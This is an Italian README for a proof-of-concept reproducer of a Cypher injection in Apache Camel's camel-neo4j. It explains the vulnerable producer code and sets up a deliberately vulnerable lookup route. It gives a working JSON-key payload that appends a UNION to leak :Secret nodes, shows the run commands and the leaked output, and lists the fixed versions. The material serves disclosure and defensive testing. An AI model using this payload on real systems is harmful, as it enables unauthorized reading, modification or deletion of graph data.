
Reproducer per CVE-2026-46591: iniezione Cypher in Apache Camel camel-neo4j tramite nomi di proprietà in CamelNeo4jMatchProperties, che consente il bypass dell'autorizzazione / l'esfiltrazione di dati tra etichette (risolto in 4.14.8/4.18.3/4.21.0)
Questo progetto dimostra un'iniezione Cypher nel componente camel-neo4j di Apache Camel, tracciata come CVE-2026-46591. Il producer costruisce la clausola Cypher WHERE per le operazioni di match/recupero ed eliminazione a partire dalla mappa CamelNeo4jMatchProperties. CVE-2025-66169 ha risolto l'iniezione tramite i valori delle proprietà vincolandoli come parametri di query ($paramN) — ma i nomi delle proprietà (le chiavi JSON di quella mappa) vengono ancora concatenati nella stringa di query così come sono in Neo4jProducer.retrieveNodes() e deleteNode(). Un nome di proprietà contenente sintassi Cypher altera quindi la struttura della query eseguita.
Questa PoC dimostra l'impatto come bypass dell'autorizzazione / esfiltrazione di dati: un attaccante inserisce Cypher in una chiave JSON così che una ricerca :Person venga riscritta (tramite ) per restituire anche un nodo che non avrebbe mai dovuto toccare — in linea con il "leggere, modificare o eliminare qualsiasi nodo o relazione" dell'advisory.
UNION:Secret| Proprietà | Valore |
|---|---|
| Componente | camel-neo4j |
| Classe interessata | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (nome della proprietà interpolato nella clausola WHERE) |
| CWE | CWE-943 (Neutralizzazione impropria di elementi speciali nella logica delle query di dati) |
| Impatto | Iniezione Cypher → leggere / modificare / eliminare nodi e relazioni arbitrari |
| Prerequisiti | Una route mappa input non fidato nella mappa CamelNeo4jMatchProperties (ad es. il corpo della richiesta); l'header è prefissato da Camel, quindi un semplice client HTTP non può impostarlo direttamente |
| Versioni interessate | Dalla 4.10.0 alla 4.14.8 esclusa, dalla 4.15.0 alla 4.18.3 esclusa, dalla 4.19.0 alla 4.21.0 esclusa |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23528 (PR apache/camel#23258) |
| Crediti | Yu Bao (PayPal) |
Seguito della remediation incompleta di CVE-2025-66169 (CAMEL-22719), che ha parametrizzato i valori ma ha lasciato i nomi delle proprietà interpolati. Stessa famiglia contigua all'header injection di CVE-2025-27636, CVE-2026-40453, ecc.
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (the JSON key) unescaped
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // value is safely bound
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
Con la mappa innocua {"name":"alice"} la query è MATCH (n:Person) WHERE n.name = $param0 RETURN n. Con una chiave malevola:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
la query costruita diventa (la parte finale // = $param0 RETURN n del template è commentata):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
quindi la risposta contiene il nodo :Person del chiamante e il nodo :Secret.
La correzione (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) aggiunge una rigorosa validazione dei nomi delle proprietà (^[A-Za-z_][A-Za-z0-9_]*$) sia in retrieveNodes() che in deleteNode(), rifiutando qualsiasi nome non conforme con una Neo4jOperationException.
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // untrusted JSON body becomes the match map
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
Un'API di "ricerca di una persona per proprietà": il client fornisce i criteri di match come JSON e la route li passa al producer come CamelNeo4jMatchProperties. Il grafo contiene due nodi :Person più un nodo :Secret il cui value una ricerca di persona non deve mai restituire.
La vittima è la route Camel e il suo database Neo4j; l'attaccante è un client HTTP che inserisce Cypher in una chiave JSON. Un piccolo seeder crea i nodi e subordina l'avvio alla disponibilità di Neo4j.
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # host / bolt / creds / secret flag
│ ├── Neo4jConfig.java # the Neo4j Driver bean (referenced as #neo4jDriver)
│ ├── Neo4jSeeder.java # waits for Neo4j, seeds :Person + :Secret nodes
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) Legitimate lookup body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) Injected lookup (Cypher in the JSON key) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true
Qualsiasi route che porti dati non fidati in CamelNeo4jMatchProperties per un'operazione RETRIEVE_NODES o DELETE_NODE. Oltre a leggere altre etichette tramite UNION, una chiave iniettata può aggiungere clausole SET/DELETE/DETACH DELETE per modificare o distruggere nodi e relazioni arbitrari.
Aggiorna a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). Dopo la correzione, i nomi delle proprietà vengono validati rispetto a ^[A-Za-z_][A-Za-z0-9_]*$ prima di essere inseriti nella query.
Fino all'aggiornamento, non popolare CamelNeo4jMatchProperties da input non fidati: validare o inserire in una allow-list i nomi delle proprietà (ad esempio rispetto a ^[A-Za-z_][A-Za-z0-9_]*$) prima del producer Neo4j, e assicurarsi che qualsiasi consumer che alimenta una tale route filtri gli header in ingresso Camel* / camel* così che l'header di match non possa essere fornito da un mittente esterno.
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non usarlo contro sistemi senza autorizzazione esplicita.